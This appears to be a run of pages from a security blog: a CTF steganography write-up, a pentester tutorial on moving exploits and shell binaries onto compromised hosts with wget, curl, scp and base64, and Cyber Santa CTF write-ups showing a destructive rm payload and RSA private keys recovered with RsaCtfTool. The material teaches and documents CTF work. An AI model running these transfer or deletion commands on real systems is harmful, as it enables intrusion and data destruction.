b3,b,lsb,Xy,prime   .. file: MPEG ADTS, AAC, v4 Main, 96 kHz
b4,r,lsb,Xy,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b4,r,msb,Xy,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b4,g,lsb,Xy,prime   .. file: , Bytes/sector 3840, sectors/cluster 255, reserved sectors 4095, FATs 255, root entries 240, sectors 61455 (volumes <=32 MB), Media descriptor 0xff, sectors/FAT 65535, sectors/track 65535, hidden sectors 4042326015, sectors 4278255360 (volumes > 32 MB), dos < 4.0 BootSector (0), FAT (12 bit by descriptor)                                                                                     
b4,bgr,msb,Xy,prime .. file: MPEG ADTS, AAC, v4 Main, 48 kHz, surround + side
b6,r,lsb,Xy,prime   .. file: AIX core file
b6,bgr,lsb,Xy,prime .. file: MPEG ADTS, AAC, v4 Main, surround + side
b7,bgr,lsb,Xy,prime .. file: MPEG ADTS, layer II, v1, 48 kHz, Monaural
b4,bgr,msb,yX       .. file: MPEG ADTS, AAC, v4 Main, 48 kHz, surround + side
b5,r,lsb,yX         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377, numeric, rows 0, columns 0
b5,r,msb,yX         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377, numeric, rows 0, columns 0
b6,g,lsb,yX         .. file: AIX core file fulldump
b6,b,lsb,yX         .. file: AIX core file fulldump
b6,bgr,lsb,yX       .. file: MPEG ADTS, AAC, v4 Main, surround + side
b7,r,lsb,yX         .. file: Matlab v4 mat-file (little endian) @\201\002\004\010\020?\377\377\377\377\377\377\377\377, numeric, rows 0, columns 0                                                                                                                                      
b7,bgr,lsb,yX       .. file: MPEG ADTS, layer II, v1, 48 kHz, Monaural
b8,r,lsb,yX         .. file: Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
b1,bgr,lsb,yX,prime .. <wbStego size=24795, data="\x99\"II$-\xB7\x01&%"..., even=false, enc="wbStego 2.x/3.x", mix=true, controlbyte="\xD8">
b3,g,lsb,yX,prime   .. file: MPEG ADTS, AAC, v4 Main, 96 kHz, stereo + center
b3,b,lsb,yX,prime   .. file: MPEG ADTS, AAC, v4 Main, 96 kHz, stereo + center
b4,g,lsb,yX,prime   .. file: , Bytes/sector 3840, sectors/cluster 255, reserved sectors 240, root entries 61455, sectors 61455 (volumes <=32 MB), Media descriptor 0xff, sectors/FAT 255, sectors/track 0, heads 15, hidden sectors 4026593295, sectors 4278190080 (volumes > 32 MB), physical drive 0xf0, dos < 4.0 BootSector (0), FAT (12 bit by descriptor)                                                                     
b4,bgr,msb,yX,prime .. file: MPEG ADTS, AAC, v4 Main, 48 kHz, surround + side
b5,r,lsb,yX,prime   .. file: Matlab v4 mat-file (little endian) \377\300, numeric, rows 4030660608, columns 0, imaginary
b5,r,msb,yX,prime   .. file: Matlab v4 mat-file (little endian) \377\003, numeric, rows 268173312, columns 0, imaginary
b6,r,lsb,yX,prime   .. file: Matlab v4 mat-file (little endian) \377\374, numeric, rows 251658240, columns 255
b6,r,msb,yX,prime   .. file: Matlab v4 mat-file (little endian) \377?, numeric, rows 4026531840, columns 255
b6,bgr,lsb,yX,prime .. file: MPEG ADTS, AAC, v4 Main, surround + side
b7,bgr,lsb,yX,prime .. file: MPEG ADTS, layer II, v1, 48 kHz, Monaural
b2,g,lsb,xY         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377, numeric, rows 4294967040, columns 65535, imaginary
b2,g,msb,xY         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377, numeric, rows 4294967040, columns 65535, imaginary
b3,r,lsb,xY         .. file: Matlab v4 mat-file (little endian) \377\377\360, numeric, rows 0, columns 0
b3,r,msb,xY         .. file: Matlab v4 mat-file (little endian) \377\377\017, numeric, rows 0, columns 0
b3,b,lsb,xY         .. file: AIX core file fulldump
b6,g,lsb,xY         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377\377\377\377\377\377, numeric, rows 0, columns 0, imaginary                                                                                                                                         
b6,g,msb,xY         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377\377\377\377\377\377, numeric, rows 0, columns 0, imaginary                                                                                                                                         
b7,r,lsb,xY         .. file: Matlab v4 mat-file (little endian) @\201\002\004\010\020, numeric, rows 0, columns 0
b8,r,lsb,xY         .. file: Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
b1,r,lsb,xY,prime   .. file: raw G3 (Group 3) FAX, byte-padded
b6,r,lsb,xY,prime   .. file: Matlab v4 mat-file (little endian) \377\374, numeric, rows 0, columns 1056964608, imaginary
b6,r,msb,xY,prime   .. file: Matlab v4 mat-file (little endian) \377?, numeric, rows 0, columns 4227858432, imaginary
b2,r,lsb,Yx         .. file: AIX core file
b6,g,lsb,Yx         .. file: Matlab v4 mat-file (little endian) \377\377\360, numeric, rows 0, columns 0, imaginary
b6,g,msb,Yx         .. file: Matlab v4 mat-file (little endian) \377\377\017, numeric, rows 0, columns 0, imaginary
b6,b,lsb,Yx         .. file: AIX core file fulldump
b3,b,lsb,Yx,prime   .. file: MPEG ADTS, AAC, v4 Main, 96 kHz
b4,r,lsb,Yx,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b4,r,msb,Yx,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b4,g,lsb,Yx,prime   .. file: Matlab v4 mat-file (little endian) \360\377\377\017\377, numeric, rows 255, columns 16715520, imaginary
b6,r,lsb,Yx,prime   .. file: AIX core file
[!] possible image block size is 10x10, downscaling may be necessary
```

so except for zsteg nothing seems to have found anything of interest. having a closer look at zsteg also reveals there seems to be nothing of use.

## hidden in plain sight

So we have a very special image here, its a spiral of blocks of colors, they also seem to be repeating, maybe there is some conversion going on from rgb → ascii, lets check that.

extracting the color codes yields us a pattern:

```bash
[(255, 192, 0), (0, 255, 192), (192, 255, 0), (255, 255, 192), (255, 0, 0), ... ]
```

it seems there are only three possible options per color: 192, 255 or 0. so really we are looking at a base3 encoded data.

if we convert the first few bytes to base3 we get a series of numbers, if we convert those to ascii we get the following: 

**Substitute 0, 192, 255 to 0, 1, 2**

**Concatenate the values to get a 3-digits number (BASE 3)**

**Convert the 3 digits number into base 10 number**

```bash
21 = u
7 = g
15 = o
25 = y
18 = r
```

if you have played a few CTF’s you might be able to tell that “ugo” is “HTB” in ROT13, so lets see what happens if we apply a ROT 13 to the whole text after base3 conversion.

```bash
21 h
7 t
15 b
25 l
18 e
19 f
7 t
16 c
8 u
5 r
25 l
12 y
15 b
5 r
14 a
16 c
```

Well this seems to be it! here we got our plaintext flag, now we just need to convert it, i guess.

htbleftcurlybracketuppercaseiunderscorelowercasetuppercaseolowercaseluppercasedunderscorelowercaseyuppercaseolowercaseuunderscoreuppercasetlowerc.....owercaseruppercasetunderscorelowercasenuppercaseolowercaserunderscoreuppercaseplowercaseiuppercaseelowercasetexclamationmarkexclamationmarkrightcurlybracketeof

`HTB{SORRY I DONT PUBLISH FLAGS}`

yay got em!

stegonagraphy is easy?

HTB write up for the Not Art[HARD] challenge


# **Transferring Files**

---

During any penetration testing exercise, it is likely that we will need to transfer files to the remote server, such as enumeration scripts or exploits, or transfer data back to our attack host. While tools like Metasploit with a Meterpreter shell allow us to use the `Upload` command to upload a file, we need to learn methods to transfer files with a standard reverse shell.

---

# **Using wget**

There are many methods to accomplish this. One method is running a [Python HTTP server](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server) on our machine and then using `wget` or `cURL` to download the file on the remote host. First, we go into the directory that contains the file we need to transfer and run a Python HTTP server in it:

```
lwlx@cybertap[/cybertap]$ cd /tmp
lwlx@cybertap[/cybertap]$ python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

```

Now that we have set up a listening server on our machine, we can download the file on the remote host that we have code execution on:

```
user@remotehost$ wget http://10.10.14.1:8000/exploit.sh......
Saving to: 'exploit.sh'

exploit.sh 100%[==============================================>] 144.86K  --.-KB/s    in 0.02s

2021-02-08 18:09:19 (8.16 MB/s) - 'exploit.sh' saved [14337/14337]

```

Note that we used our IP `10.10.14.1` and the port our Python server runs on `8000`. If the remote server does not have `wget`, we can use `cURL` to download the file:

```
user@remotehost$ curl http://10.10.14.1:8000/exploit.sh -o exploit.sh
100  144k  100  144k    0     0  176k      0 --:--:-- --:--:-- --:--:-- 176k

```

Note that we used the `-o` flag to specify the output file name.

---

# **Using SCP**

Another method to transfer files would be using `scp`, granted we have obtained ssh user credentials on the remote host. We can do so as follows:

```
lwlx@cybertap[/cybertap]$ scp exploit.sh user@remotehost:/tmp/exploit.shuser@remotehost's password: **********
exploit.sh

```

Note that we specified the local file name after `scp`, and the remote directory will be saved to after the `:`.

---

# **Using Base64**

In some cases, we may not be able to transfer the file. For example, the remote host may have firewall protections that prevent us from downloading a file from our machine. In this type of situation, we can use a simple trick to [base64](https://linux.die.net/man/1/base64) encode the file into `base64` format, and then we can paste the `base64` string on the remote server and decode it. For example, if we wanted to transfer a binary file called `shell`, we can `base64` encode it as follows:

```
lwlx@cybertap[/cybertap]$ base64 shell -w 0f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA.....lIuy9iaW4vc2gAU0iJ51JXSInmDwU

```

Now, we can copy this `base64` string, go to the remote host, and use `base64 -d` to decode it, and pipe the output into a file:

```
user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA.....lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
```

---

# **Validating File Transfers**

To validate the format of a file, we can run the [file](https://linux.die.net/man/1/file) command on it:

```
user@remotehost$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

```

As we can see, when we run the `file` command on the `shell` file, it says that it is an ELF binary, meaning that we successfully transferred it. To ensure that we did not mess up the file during the encoding/decoding process, we can check its md5 hash. On our machine, we can run `md5sum` on it:

```
lwlx@cybertap[/cybertap]$ md5sum shell
321de1d7e7c3735838890a72c9ae7d1d shell

```

Now, we can go to the remote server and run the same command on the file we transferred:

```
user@remotehost$ md5sum shell
321de1d7e7c3735838890a72c9ae7d1d shell

```

As we can see, both files have the same md5 hash, meaning the file was transferred correctly. There are various other methods for transferring files.



# CheatSheet

<table>
<thead>
  <tr>
    <th colspan="2">Transferring Files</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><code>python3 -m http.server 8000<code></td>
    <td>Start a local webserver</td>
  </tr>
  <tr>
    <td><code>wget http://10.10.14.1:8000/exploit.sh<code></td>
    <td>Download a file on the remote server from our local machine</td>
  </tr>
  <tr>
    <td><code>curl http://10.10.14.1:8000/exploit.sh -o exploit.sh<code></td>
    <td>Download a file on the remote server from our local machine</td>
  </tr>
  <tr>
    <td><code>scp exploit.sh user@remotehost:/tmp/exploit.sh<code></td>
    <td>Transfer a file to the remote server with scp (requires SSH access)</td>
  </tr>
  <tr>
    <td><code>base64 shell -w 0<code></td>
    <td>Convert a file to base64</td>
  </tr>
  <tr>
    <td><code>echo f0VMR...SNIO...InmDwU | base64 -d &gt; shell</code></td>
    <td>Convert a file from <code>base64<code> back to its orig</td>
  </tr>
  <tr>
    <td><code>md5sum shell<code></td>
    <td>Check the file's <code>md5sum<code> to ensure it converted correctly</td>
  </tr>
</tbody>
</table>

Quick filesharing techniques for Pentesters

sharing files can be done in various ways..


# Cyber Santa Hack The Box 2021 _[EASY]_

`rm  /var/www/html/sites/default/files/.ht.sqlite && echo SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59 > /dev/null 2>&1 && ls -al  /var/www/html/sites/default/files`


## lets start easy witht he first forensic challenge named baby apt
![baby-apt](/htb/baby-apt.png "ok")
> This is the most wonderful time of the year, but not for Santa's incident response team. Since Santa went digital, everyone can write a letter to him using his brand new website. Apparently an APT group hacked their way in to Santa's server and destroyed his present list. Could you investigate what happened?

we get a .pcap file, lets analyze it with wireshark. we can quickly filter through this small capture and notice some interesting http traffic, taking a closer look we find a special payload. Lets try and make it readable.

find the solution below:

> <a href="https://cyberchef.cybertap.ch/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=IFNGUkNlekJyWDI0d2QxOHpkak55ZVRCdU0xOW9OSE5mZERCZlpISXdjRjh3Wm1aZmRHZ3phWEpmYkROMGRETnljMTgwZEY5MGFETmZjREJ6ZEY4d1ptWXhZek5mTkdjME1XNTk">https://cyberchef.cybertap.ch/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=IFNGUkNlekJyWDI0d2QxOHpkak55ZVRCdU0xOW9OSE5mZERCZlpISXdjRjh3Wm1aZmRHZ3phWEpmYkROMGRETnljMTgwZEY5MGFETmZjREJ6ZEY4d1ptWXhZek5mTkdjME1XNTk</a>
 yay!


okay now lets do some cryptography, the `common mistake` challenge looks interesting. 
![common-mistake](/htb/commonMistake.png "ok")
> Elves are trying very hard to communicate in perfect secrecy in order to keep Santa's warehouse. Unfortunately, their lack of knowledge about cryptography leads them to common mistakes.


{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 

'e': '0x10001', == `65537 `

 'ct': '0x55cfe232610aa54dffcfb346117f0a38c77a33a2c67addf7a0368c93ec5c3e1baec9d3fe35a123960edc2cbdc238f332507b044d5dee1110f49311efc55a2efd3cf041bfb27130c2266e8dc61e5b99f275665823f584bc6139be4c153cdcf153bf4247fb3f57283a53e8733f982d790a74e99a5b10429012bc865296f0d4f408f65ee02cf41879543460ffc79e84615cc2515ce9ba20fe5992b427e0bbec6681911a9e6c6bbc3ca36c9eb8923ef333fb7e02e82c7bfb65b80710d78372a55432a1442d75cad5b562209bed4f85245f0157a09ce10718bbcef2b294dffb3f00a5a804ed7ba4fb680eea86e366e4f0b0a6d804e61a3b9d57afb92ecb147a769874'}

{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x23', 'ct': '0x79834ce329453d3c4af06789e9dd654e43c16a85d8ba0dfa443aefe1ab4912a12a43b44f58f0b617662a459915e0c92a2429868a6b1d7aaaba500254c7eceba0a2df7144863f1889fab44122c9f355b74e3f357d17f0e693f261c0b9cefd07ca3d1b36563a8a8c985e211f9954ce07d4f75db40ce96feb6c91211a9ff9c0a21cad6c5090acf48bfd88042ad3c243850ad3afd6c33dd343c793c0fa2f98b4eabea399409c1966013a884368fc92310ebcb3be81d3702b936e7e883eeb94c2ebb0f9e5e6d3978c1f1f9c5a10e23a9d3252daac87f9bb748c961d3d361cc7dacb9da38ab8f2a1595d7a2eba5dce5abee659ad91a15b553d6e32d8118d1123859208'}

```bash
python3 RsaCtfTool.py --createpub -n 169110111150246174221951591062214641241271111718815524654288210424833123127173150112140251238120878758198621586155681764225225225321760331311382495154109226429722162163222225192184871961478914521711220128776162134322458212471039532244301621751871121922261671557312014549194242143232337569621953581541281472201191212361321244323410514101615614247175244892267156205548921723723114922420924813031213180146362037117410224917460882501022199416924761123116255741383646145347915221824010030138143241155882511407317716517117689244667322321417818121161682041244416214787175701692202401741474811914324118316822883332011683207232395833171735119123516218242412716616717514239 -e `65537`
```

use RsaCtfTool for this

-----BEGIN PUBLIC KEY-----  
MIIBNTANBgkqhkiG9w0BAQEFAAOCASIAMIIBHQKCARQA6qYyB5IDi3DjVvi7kCB+  
eHhYPqF1LFwRwcVCs1PH4edCy30ocO67QLVRC7CbiGhijMCR/aXRODY3srLU7VwF  
7JHZd5lC/6QHSh80PgFdz1KxqXeuo0zzI8HuqhgiI/cZvvmBuiOiJsq+dQFxIsJy  
eQceaiucmtewc8v50kN2n3KbPjeXAv79JF2BVAEdnsbzEdl8rZYx6KYjsFuYv032  
ZNdKgxyzoQZhzJme5mmXpGa2sVDUNYBEfeUVcfQRt+QjvSzjpT6xXYkogBaRe5Jg  
/6R8Gdujc2M3yuvQDxqngQ3Oiz4wxsN9GuXVwadYVZ0ne2CUAQcDeHnUVqKW7HLl  
Ohu9MDTY9+OTEuAoWIMb7REhNf8CAwEAAQ==  
-----END PUBLIC KEY-----
```bash
    python3 RsaCtfTool.py -n 169110111150246174221951591062214641241271111718815524654288210424833123127173150112140251238120878758198621586155681764225225225321760331311382495154109226429722162163222225192184871961478914521711220128776162134322458212471039532244301621751871121922261671557312014549194242143232337569621953581541281472201191212361321244323410514101615614247175244892267156205548921723723114922420924813031213180146362037117410224917460882501022199416924761123116255741383646145347915221824010030138143241155882511407317716517117689244667322321417818121161682041244416214787175701692202401741474811914324118316822883332011683207232395833171735119123516218242412716616717514239 -e 65537 --uncipher 85207226509710165772552071797017127105619912251162198122221247160541401472369262271742012112545316135150142204418919456243508012347793238171624414717239197904625360240651911781134819438110141198309115324211710288352451321889757190762160220241831916671251638740588323211563152451211011623315491166614418188134821502402122448246942244424424121845296255199158132979219481922331863225489146180392241872361021291452615810810718860163108158184146622435125112622324412325110118471621513111416584501616845117202213181983215523779133369518716015622572418720624217814822325163016516842371231642511041423413422710222824017616621642302659157871751854620320122118152116 --private
````

nice we got a private key

    -----BEGIN RSA PRIVATE KEY-----
    MIIFgQIBAAKCARQA6qYyB5IDi3DjVvi7kCB+eHhYPqF1LFwRwcVCs1PH4edCy30o
    cO67QLVRC7CbiGhijMCR/aXRODY3srLU7VwF7JHZd5lC/6QHSh80PgFdz1KxqXeu
    o0zzI8HuqhgiI/cZvvmBuiOiJsq+dQFxIsJyeQceaiucmtewc8v50kN2n3KbPjeX
    Av79JF2BVAEdnsbzEdl8rZYx6KYjsFuYv032ZNdKgxyzoQZhzJme5mmXpGa2sVDU
    NYBEfeUVcfQRt+QjvSzjpT6xXYkogBaRe5Jg/6R8Gdujc2M3yuvQDxqngQ3Oiz4w
    xsN9GuXVwadYVZ0ne2CUAQcDeHnUVqKW7HLlOhu9MDTY9+OTEuAoWIMb7REhNf8C
    AwEAAQKCARNrpzia+oPU6XwvfT7YZX7L3azXB2Kl0h/KKXYYH5zaejpvbOkzqlYk
    5eBJLQRnaI38TUCCCAI+cE4vPPVCm50JLOXe5K1/bxT6U9UafW1xVzTtYn/Pprmz
    SnvNGvcwLHxCKtQMvarcw0gc6Y/R/eAYcq6h32wf4FhAN5gURVpmSgfEhXMBoOqy
    MeQ2AZtAIWz4hYPIZPuxKV3McLZtcrKtG32Q07f7INW7NGN0QZ83VvW7x9aA+x/l
    kNSbWS7BEkTpILJ3iStCK7VIOJn52mA8b+kqvUgzikWJ5YHQibXtgRIRJS1i6XAR
    rfm6xofnjDNqDpFWpj5RHOI4Ei+EaT64Mv/LkD53t4eviROhm/QjoLgRaQKCARIz
    TFcED05iQVeFWZMIjcWDfcemgU1tmwOp0J3+io4TN5XtFlVbXfJITF3L5sX26EFE
    l2hHMSYWWF5gWBDRS22Co34GeIPTUtylvO3oY/zl1i1l+j8Z3MqwJuYhQBV0g9kH
    3VnKsB/zfk3tazf+2rbd5uKT0nFgKChTB6V0JJw6d+84O1/BsYOjYuzVXuemiX+v
    9BUiq3AhXyDxblAtUfkXI3rBgAtJder4CtkQfIW3Ed0sOsU84ouVureEQLnDM2fJ
    KmMspry++CoVcZYTlPXxfj9rvzXg0pNNX36XhieuB9P1V0UIsWelsGMy3KjYWJLM
    DT5OfUUviziyF71OJOxfxxpGcI3gDsXdNnhQkBeYK/hlAgIEkwKCARIMFhN2aGjO
    a5jEWWt0G3sK1QrCJzrn9Rry2q0u+NQqoPEZECcCROs9r4h17yR7XRNrpsSx6VmQ
    8DckOfuUZFIj8oNR4PkmRCKqhg4Dr/M477J4kXJmlIfI4xFbii7D6gCrgrKSN9b/
    VqXjp1xlFoD5XVnK/E0sG6oMjgOkjq+kcveQ5yRTjZB3YWpth1PLACBug3KrXXso
    0bIAUD5hvyuSERDuIE4Ie9jloiCsarpSfMoAjsRD6Rh8KabtaRabcDQmyG7faVWV
    JQE9VirG6FTeFiG5MC7wjoyYMUSxTLFypnOBHZOtTace+aUVqbm6Z3wGyaQBeDBh
    2Ep+Y2t9yuNKWa3OJNy4iqKB0UCdsqVsfAelAgIBnQKCARIdyfQBe6l5HIsk/gR+
    hJvLz31WaiEoQYgjpmXNvtw7QUop7C0xxw9tGVOLLJiPYQzCnJFgprTVOoexR3ia
    xGUx2LWd4dtOxhbBv0FakfJkrHfuQ+2NKPxea9ld21Iym7QHML5OyYcToJKwyG14
    OsyReS04U7pLg4jg248U4QKekGmvaRd4ISAQLTQM2OM2g+BWb5HZGzEntdH7eY4Y
    IZw7yIY+9VA6ZiRR83+UZSrjbBhfpDRy7q1QK7dNdIG75sJ/v2s3cTh7I3TpsTxC
    dmtnSffLI5z92rDrkG49UZ7Nju4Tm2UVAcyxin//zb713wxyHt0hjgvBieelSXfE
    cUKmPPb91jz2ahTlBZ2IMnHT4nEz
    -----END RSA PRIVATE KEY-----

and deciphered text:

    Unciphered data :
    HEX : 0x93ce7f9abec56ab02c7b6f2442eb54ea85c25452c6649791198f921b8895b37c2e91e3c215f8a18f222933334d4228f1f35679a83a3aaa27c6f717ecb5a0989e81bf10ed89e8997289baad9498be74229161fe3d6b9f20af2923751b9edd92dd99e270c14f9ab6aa47c70e67594d9de12b2f4a5cb6c14961aed6b6c95537fec58f78e656cdc5a6e3a8df63a1a1abacea2ea9e42ea3916f6d54e4ab6638d004305b208697bdfc9ead998a356b53b26d2a5543241ab94dd7e3875a599319fbd49d2a2f3af0a163e79ddea69b832eadff4a443bc5d1aa448021b4601eedbb67fa39838a91f8071c6c1864aac3efc7eaf0ba872ee1f9d0c24bbb8179cc2fcea345a2896d3cb5532fa2c03be84465f1e3aaffaaae0e
    INT (big endian) : 106523253901300334604683207833379234922023036276037014961974913713745025012872031053388146786272447030652944950843391449373541880474936028335701738255122664883682995745267770467681591960324156535024693894389120282282113351291033391141230044475747692019455788082806824699685172718995193358681983722833424620108342223698953641772575884832595512290859496693137456587970330022789088463481451423248003110893524195235929033825563416068579453588708071918671865447288455011963418404923938575049626081964274020342119025903786836276109132375192598117351059800672120889746578293877266424496358847494653436053080172097177436703486733259158493837620393486013927765796562054670
    INT (little endian) : 10581433148091013279960381394938329144519670438976771265601529239725737680102410485583778694667876301614088688991055195434262010454916755671757088905403912897346553714085759869640657492073275582479180603159364159240301280082198266519595822746590071128056609154184027928287671847272319284001366503724334119380196691311108459277979297346923030882970983616921068437680765237482794875612016523395502485364745322268883603551572582102105572408952268648036113411991627619429396018951874769852958821593993826876857661031011443315743893359693637845937022684255566894404363285097252860791136497697873836891090918708466825942837949053991800663688177870287844261703333170835
    STR : b'\x93\xce\x7f\x9a\xbe\xc5j\xb0,{o$B\xebT\xea\x85\xc2TR\xc6d\x97\x91\x19\x8f\x92\x1b\x88\x95\xb3|.\x91\xe3\xc2\x15\xf8\xa1\x8f")33MB(\xf1\xf3Vy\xa8::\xaa\'\xc6\xf7\x17\xec\xb5\xa0\x98\x9e\x81\xbf\x10\xed\x89\xe8\x99r\x89\xba\xad\x94\x98\xbet"\x91a\xfe=k\x9f \xaf)#u\x1b\x9e\xdd\x92\xdd\x99\xe2p\xc1O\x9a\xb6\xaaG\xc7\x0egYM\x9d\xe1+/J\\\xb6\xc1Ia\xae\xd6\xb6\xc9U7\xfe\xc5\x8fx\xe6V\xcd\xc5\xa6\xe3\xa8\xdfc\xa1\xa1\xab\xac\xea.\xa9\xe4.\xa3\x91omT\xe4\xabf8\xd0\x040[ \x86\x97\xbd\xfc\x9e\xad\x99\x8a5kS\xb2m*UC$\x1a\xb9M\xd7\xe3\x87ZY\x93\x19\xfb\xd4\x9d*/:\xf0\xa1c\xe7\x9d\xde\xa6\x9b\x83.\xad\xffJD;\xc5\xd1\xaaD\x80!\xb4`\x1e\xed\xbbg\xfa9\x83\x8a\x91\xf8\x07\x1cl\x18d\xaa\xc3\xef\xc7\xea\xf0\xba\x87.\xe1\xf9\xd0\xc2K\xbb\x81y\xcc/\xce\xa3E\xa2\x89m<\xb5S/\xa2\xc0;\xe8De\xf1\xe3\xaa\xff\xaa\xae\x0e'

lets see the other one
```bash
    python3 ./RsaCtfTool/RsaCtfTool.py -n 4812097575410154102575410254971011001005310257102549749545750505710249499854102979853565798102545154499953505456102565049559855102971005754554856991029810110155565355535551979954485410055535457985252984850971029910299102100100575199504956515697102575151515454100101505097544949549750975110010110149994848495352535599525751535757491005755484952564852100511005110148100509810148519710052501025455531025048102524910197509710298985548994810150975557985257555657495149995010250561021015650495298525348541009851535197579756485751100995555555710199565255995098101975457481015453511005156561015010297102102525357101505255515699100515453571005710110010155575310148100491025656504910210053985257505052999852559710154541025797101519953561029754541009853101975710255511005598555249575157485256975052501015749505052102575610097102485452491015697561021024957985356102985699525798499753979898485357102525250525710010210054494953495349495397495252999955995099975057515355971025254975710099495648489710157515148555556102102499855975610152535150494952555253519910249551011025197504949499710051519810210198975098545097485255102975497559710248101101102 -e 481205051 --uncipher 4812055575651529910151505752535110051995297102485455565710157100100545352101525199495497565310056989748100102975252519710110210149979852574950974950975251985252102535610248985449555454509752535757495310148995750975052505756545697549849100559797979897534848505352995510199101989748975010010255495252565451102495656571029798525249505099571025153539855521015110251535510049551024810154575110250544999489857991011021004855999751100499851545354519756975699575653101504949102575753529910148551005210255531009852489910157541021019854995749504949975710210257994897504999971005499534857489799102525698102100565648525097100519950525156534897100519710210054995151100100515251995557519948102975010257569852101979810197515757524857994957545448495197565652515456102995750514948101989998519810156491005155485098575154101551015656511011019857529950101989848102571015310154100515755569949102491025799539749481015051975710051505350100979799565510257989855525699575449100511005154499999551009799985710097515697985610250974953575310055975010198975310099101539798101101545357971005749974953985353511005410151501005649495610049495051565357504856 --private
````

our other key:
```
    -----BEGIN RSA PRIVATE KEY-----
    MIIJUgIBAAKCAdcApR3YacCOcuqW41S9hC0QOItH32h8PhfGZ7MSA1zsz5qoZf3O
    fFG8E/SHEADg0fqP/uggplcHmyzBWWezFQMzEVzC7B3URbJK5TRFW7mrJdSJxUeJ
    2/b626BlMK0nzlDXSBUU5r37biYawFYSb+/ZuOIVVeN4FgE2OVXZqoFp/NOMKAae
    ueMARwCzMlQkZ2XK+i0LiZiLtCcPuKadiRHf064fF981zC9llF+MAEzqlW0L7fe0
    pBqP7sZsPU2Nden2ro5S1nid8vqVszjegw/3RSYeZsON4p3dpMeB523nf1LarhdF
    8Or3gdRD+hI+9bqUb+xAxWyuontFCBtJuh9pWs9Sq2PolHzcVb++vxQdGLIRo546
    POs7sMOMO6aujtGFQSQDoedtDOS1mAZtYJcYQdDXmoKy9oUvpW1bhtSohsodPm65
    NHGp/kXsd6YAjLUkLaZNHuGHvE2ziBwACEJfJG/sI831XLrH0W1dd0pil8r9XzXM
    0ESstZoGJ0CtTskp1rHa4/4qW6rZ+W24FvGTeRtE8ZEgupQW3vYfxEle6Q6L07ux
    J8W0oVn4TRBnyUFcQ86m0jNqM58pF8B7ufmDC3jLke8GDE7+iBGpF8xYx5F94q26
    Pi4CBByumzsCggHWMo27CjQsiH3CRH99jDn6U7HoCZB+DAjQ0JJ3tPBCvMhBrjF+
    aSvlmG6WyH3PE+Yo6j1Kgt5vLlE5Ca7BboIwrUkn4MrYqkz4rVYuLALwLD1nIctN
    nVfJP7mVNilJOojr+GutDk+dV3SWfZy1tfw9Wq1d7i6bh8fFNTacu9+L1t+AdVEJ
    oEmAaGRV6f3jxRL7HewWL7EZHBRB7MMUMrFDZ6m0MwF2O+QIdHhS77Ltk0ae5viw
    8pnXG1oER8X+FT+o0AiAiBwfyPxHHopMt/ppaBSx9Q8xrChO/TVmpYr2fvB9frJh
    x0CAIx9D8RcNRGT108Mr03jLOXDG1JdKYiZno95IKtEcY5/hIsOeusxR+asLb8qR
    matVOiLAMncKbjRuKG86j3WUI9o5bG/DGVSno449D4wxPNZ+PehpRCMSu1UClU4l
    yb39OX6hbjQhDpnArDetSHvEbw/k26IN9WWhG44IFL4fMUHbKCV65tQciW9AIInM
    N9BbAcwwxtq4K5HpXvdrjWVzPg6siYXS3mtTIXlZlI7QesQw4KOqm86EgRS3f3zl
    nnnqgGEpVCNA8KHig9P+iqVTuBj/iz66TRVO8bmIZRFp2ICgwPuveFo3BC+7lLdg
    mrUCggHWUo7sNOBHOXVLcapewhaIHEWj77Q+HwvjM9mJAa52Z81UMv7nPijeCfpD
    iABwaP1H/3QQUyuDzZZgrLPZioGZiK5hdg7qItklcpoirdzVkupE4qPE7ft9bdAy
    mFaT5yhrpAqKc179txMNYCsJN/fs3HEKqvG8CwCbHKrs1UC0/mnGFANPXPGAI4BZ
